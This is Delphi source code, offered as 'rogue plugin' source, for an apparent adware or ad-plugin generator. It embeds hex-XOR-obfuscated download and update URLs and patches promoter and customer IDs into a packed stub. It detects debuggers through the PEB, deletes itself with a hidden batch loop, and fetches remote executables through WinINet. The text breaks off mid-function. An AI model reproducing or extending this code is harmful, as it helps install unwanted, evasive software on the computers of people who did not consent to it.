unitconfigserver.pas

功能强大的霸王插件源代码

unit UnitConfigServer;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,wininet,activex,
  Dialogs, StdCtrls,Inifiles,ShellApi, Buttons, ExtCtrls, ComCtrls,FileCtrl,URLMon,zlib,
  WinSkinData,tlhelp32, Spin,md5;

const
  maxLen=16;//随机密钥长度
  flag_ver='flag_verflag_ver';
  flag_onlypop='f_onlypop';
  flag_userid='f_useridflag                  ';//推广员id
  flag_test='f_test';
  flag ='UXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXUXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXUXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXUXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX';
  flag_id='f_idflag                      ';//客户id

  fuck_code=#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA#$BD#$FF#$FE#$BC#$EE#$BF#$EC#$FE#$E0#$EF#$89#$EA;


  KEY_IE            = 'SOFTWARE\Microsoft\Internet Explorer';

  url_ver_free='363931383531343731323731303536356E7D75783F2E2B7076752934623328666826766D676B6D666E786E6064686F6B29796A7E60732A6F756F';//http://www.5b6.cn/webjiaoziadmin/pkver.htm
  url_down_free='343736313237353437373739373430356C73727138282A737070293C65322E666A287164606D6C65687D6E686369696B2B6B76656D706B2A667477';//http://www.5b6.cn/webjiaoziadmin/lpdown.asp
  url_ver_vip='363931383531343731323731303536356E7D75783F2E2B7076752934623328666826766D676B6D666E786E6064686F6B29796A7E60732A6F756F';//http://www.5b6.cn/webjiaoziadmin/pkver.htm
  url_down_vip='343736313237353437373739373430356C73727138282A737070293C65322E666A287164606D6C65687D6E686369696B2B6B76656D706B2A667477';//http://www.5b6.cn/webjiaoziadmin/lpdown.asp
var OFFSET_URL,OFFSET_URL1:integer;
type
  Tf_main = class(TForm)
    Panel1: TPanel;
    Timer1: TTimer;
    SaveDialog1: TSaveDialog;
    GroupBox1: TGroupBox;
    Memo1: TMemo;
    GroupBox2: TGroupBox;
    CheckBox1: TCheckBox;
    Label1: TLabel;
    e_ver: TEdit;
    Label3: TLabel;
    E_ver_new: TEdit;
    Button3: TButton;
    Label5: TLabel;
    e_file: TEdit;
    Panel2: TPanel;
    Button2: TButton;
    Button4: TButton;
    Button1: TButton;
    Button5: TButton;
    Label2: TLabel;
    E_output: TEdit;
    Label4: TLabel;
    Label6: TLabel;
    Timer2: TTimer;
    Label7: TLabel;
    E_user: TEdit;
    Label8: TLabel;
    e_password: TEdit;
    Label9: TLabel;
    lb_url: TLabel;
    BitBtn2: TBitBtn;
    Button6: TButton;
    ck_form: TCheckBox;
    Label10: TLabel;
    ck_test: TCheckBox;
    OpenDialog1: TOpenDialog;
    BitBtn3: TBitBtn;
    BitBtn4: TBitBtn;
    Label11: TLabel;
    e_lc: TSpinEdit;
    Label12: TLabel;
    e_fb: TSpinEdit;
    BitBtn1: TSpeedButton;
    rb1: TRadioButton;
    rb2: TRadioButton;
    SkinData1: TSkinData;
    Label13: TLabel;
    e_url: TEdit;
    Label14: TLabel;
    e_base: TSpinEdit;
    b_reg: TButton;
    procedure BitBtn1Click(Sender: TObject);
    procedure FormShow(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure e_fileDblClick(Sender: TObject);
    procedure E_outputDblClick(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Label10Click(Sender: TObject);
    procedure ck_formClick(Sender: TObject);
    procedure b_regClick(Sender: TObject);
  private
    { Private declarations }
    current_path:string;
    procedure wndproc(var msg:tmessage);override;
    procedure AppException(Sender: TObject; E: Exception);
  public
    { Public declarations }

  end;

var
  f_main: Tf_main;
  wd,ht:integer;
  flag_click:boolean;
  flag_time:double;
implementation

{$R *.dfm}
{$R 'upxserver.RES'}
var cjlx:string;
    NT351: Boolean;
    FTaskMessage:dword;
    flag_zip,f_md5:string;
const user_fn='userlist.txt';
      callbackmsg=5257;
      Bstr_base64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

      fn_msg='msg.txt';
      syscfg='mywinsys.ini';
      cfg='mycfg.ini';
      //softname='tan88';
function GetFileSize(const FileName: String): LongInt;
var
    SearchRec: TSearchRec;
begin
  if FindFirst(ExpandFileName(FileName), faAnyFile, SearchRec) = 0 then
     Result := SearchRec.Size
  else
     Result := -1;
end;
function LoadFromFile(fn:string):string;
var buff:pchar;
    f_h:integer;
    i:int64;
    size: Longint;
begin
    result:='';
    f_h:=FileOpen(fn, fmopenread or fmShareDenyRead);
    try
        size := GetFileSize(fn);

        getmem(buff,size+2);
        try
          i := FileRead(f_h, Buff^, size);

          SetLength(result, size);
          Move(Buff[0], result[1], size);
          //s:=inttostr(length(result))+','+copy(result,length(result)-20,length(result));
          //showmessage(s);
        finally
          freemem(buff);
        end;
    finally
      FileClose(f_h);
    end;
end;
//得md5
function GetCopyrightFlag(fn:string):string;
var s:string;
begin
   result:='';
   s:=LoadFromFile(fn);
   result:=MD5Print(MD5String(s));
end;
function GetSoftFlag:string;
var s:string;
begin
   result:='';
   s:=trim(f_main.e_user.text)+formatdatetime('yyyy-MM-dd',now)+GetCopyrightFlag(paramstr(0));
   result:=MD5Print(MD5String(s));
end;
//还原
function DataUnCompress(const Data: string):string;
var
  InStream: TMemoryStream;
  ZStream: TDecompressionStream;
  OutStream:TStringStream;
  size:integer;
begin
  result:='';
  InStream := TMemoryStream.Create;
  try
    InStream.Write(Data[1], length(data));
    InStream.Seek(0, soFromBeginning);
    InStream.ReadBuffer(size, SizeOf(integer));
    ZStream := TDecompressionStream.Create(InStream);
    OutStream:=TStringStream.Create('');
    try
      OutStream.CopyFrom(ZStream,size);
      result:=OutStream.DataString;
    finally
      ZStream.Free;
      OutStream.Free;
    end;
  finally
    InStream.Free;
  end;
end;
procedure AddIcon;
var strc:pnotifyicondata;
begin
  //注册到任务栏
   new(strc);
   strc.cbsize:=sizeof(Tnotifyicondata);
   strc.Wnd:=f_main.handle;
   strc.uFlags:=nif_icon or nif_message or nif_tip;
   strc.uCallbackMessage:=callbackmsg;
   strc.uID:=4;
   strc.hIcon:=application.Icon.Handle;//  f_main.Icon.Handle;
   strc.szTip:='骄子广告插件生成器';
   shell_notifyicon(nim_add,strc);
   Dispose(strc);
end;
procedure   DeleteIcon;
var strc:pnotifyicondata;
begin
   //撤消任务栏注册
   new(strc);
   strc.cbsize:=sizeof(Tnotifyicondata);
   strc.Wnd:=f_main.handle;
   strc.uID:=4;
   strc.uFlags := 0;
   try
     NT351 := (Win32MajorVersion <= 3) and (Win32Platform = VER_PLATFORM_WIN32_NT);
     if not NT351 then
       shell_notifyicon(nim_delete,strc);
   except
   end;
   Dispose(strc);
end;
procedure DeleteSelf(fn:string);
var st:tstringlist;
const bat_fn='c:\del_tmp.bat';
begin
  try
    SetFileAttributes(PChar(fn), 0);
  except
  end;
  st:=tstringlist.Create;
  try
    st.Add(':loop');
    st.Add('if exist "'+fn+'" del "'+fn+'"');
    st.Add('if exist "'+fn+'" goto loop');
    st.Add('if not exist "'+fn+'" del "'+bat_fn+'"');
    st.SaveToFile(bat_fn);
    winexec(bat_fn,sw_hide);
  except
  end;
  st.Free;
end;
function WantDebug:boolean;
var i:byte;
begin
  result:=false;
  try
    asm
      mov eax,fs:[$30]
      mov eax,[eax+2]
      mov i,al
    end;
    result:=i=1;
  except
  end;
end;
function GetSystemPath:string;
var p:pchar;
begin
  result:='';
  getmem(p,255);
  try
    GetSystemDirectory(p,255);
    result:=p;
    if result[length(result)]<>'\' then result:=result+'\';
  finally
    freemem(p);
  end;
end;
function Get_TempPath:string;
var p:array[0..255] of char;
begin
   GetTempPath(255,p);
   result:=p;
   if result[length(result)]<>'\' then result:=result+'\';
end;

function GetUrlFileName(url:string):string;
var i:integer;
    u:string;
begin
   result:='';
   u:=trim(url);
   while true do
     begin
       i:=pos('/',u);
       if i<=0 then break;
       u:=copy(u,i+1,length(u));
     end;
   u:=trim(u);
   i:=pos('.',u);
   if i>0 then
     u:=copy(u,1,i-1);
   u:=trim(u);
   if u='' then
     u:='mydown';
   result:=u+'.exe';
end;
function ExtractRes(ResType, ResName, OutName: string): Boolean;
var
  HResInfo: THandle;
  HGlobal: THandle;
  HFile: THandle;
  Ptr: Pointer;
  Size, N: Integer;
begin
  HFile := INVALID_HANDLE_VALUE;
  repeat
    Result := False;
    HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
    if HResInfo = 0 then Break;
    HGlobal := LoadResource(HInstance, HResInfo);
    if HGlobal = 0 then Break;
    Ptr := LockResource(HGlobal);
    Size := SizeOfResource(HInstance, HResInfo);
    if Ptr = nil then Break;
    HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
      0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    if HFile = INVALID_HANDLE_VALUE then Break;
    if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
  until True;
  if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
  SetFileAttributes(PChar(OutName), 0);
end;
function GetField(var s:string):string;
var i:integer;
begin
       i:=pos(',',s);
       if i<=0 then
         begin
           result:=s;
           s:='';
         end
       else
         begin
           result:=copy(s,1,i-1);
           s:=copy(s,i+1,length(s));
         end;
end;
// 生成 －－－－－－－－－－－－－－－－－－－－－－－－－－－－
function encodeStr(str: string): string; //加密
var
  i,j,k: integer;
  key,tmp:string;
begin
  //产生随机密钥
  Randomize;
  key:='';
  for i:=1 to maxlen do
    begin
      j:=random(10);
      result:=inttostr(j);
      key:=key+result[1];
    end;
  //数据加密
  if str='' then str:='   ';
  k:=0;
  result:='';
  for i:=1 to length(str) do
    begin
      k:=k+1;
      if k>maxlen then k:=1;
      j:=ord(str[i]);
      j := j xor strtoint(key[k]);
      result := result + chr(j);
      forms.Application.ProcessMessages;
    end;
  //把随机密钥和加密串连接
  tmp:=key+result;
  //数据可视化
  result:='';
  for i:=1 to length(tmp) do
      begin
        result:=result+IntToHex(ord(tmp[i]),2);
        forms.Application.ProcessMessages;
      end;
end;
function ReplaceField(f,v,msg:string;var s:string):boolean;
var i:integer;
    tmp,s1:string;
begin
   result:=false;
   i:=pos(f,s);
   if i<=0 then
        begin
          MessageBox(f_main.handle, pchar(msg+'标示定位失败!'), '警告', 0);
          exit;
        end;
   tmp:=s;
  s1:='';
  while true do
    begin
      i:=pos(f,tmp);
      if i<=0 then
        begin
          tmp:=s1+tmp;
          break;
        end;
      s1:=s1+copy(tmp,1,i-1)+v;
      tmp:=copy(tmp,i,length(tmp));
      tmp:=copy(tmp,length(f)+1,length(tmp));
    end;
  s:=tmp;
  result:=true;
end;
function GetInetFile(const fileURL, FileName: String;p:tpanel): boolean;
const BufferSize = 1024;
var
  hSession, hURL: HInternet;
  Buffer: array[1..BufferSize] of Byte;
  BufferLen: longWORD;
  f: File;
  sAppName: string;
  c:integer;
begin
 Result:=False;
 sAppName :='hhh';// ExtractFileName(Application.ExeName);
 hSession := InternetOpen(PChar(sAppName),
                INTERNET_OPEN_TYPE_PRECONFIG,
               nil, nil, 0);
 try
  hURL := InternetOpenURL(hSession,
            PChar(fileURL),
            nil,0,0,0);
  if hurl=nil then exit;
  try
   AssignFile(f, FileName);
   try
     Rewrite(f,1);
     c:=0;
     f_main.button6.Tag:=0;
     repeat
      InternetReadFile(hURL, @Buffer,
                     SizeOf(Buffer), BufferLen);
      BlockWrite(f, Buffer, BufferLen);
      c:=c+BufferLen;
      if p<>nil then
        begin
          p.Caption:='正在下载,请等待......'+inttostr(c);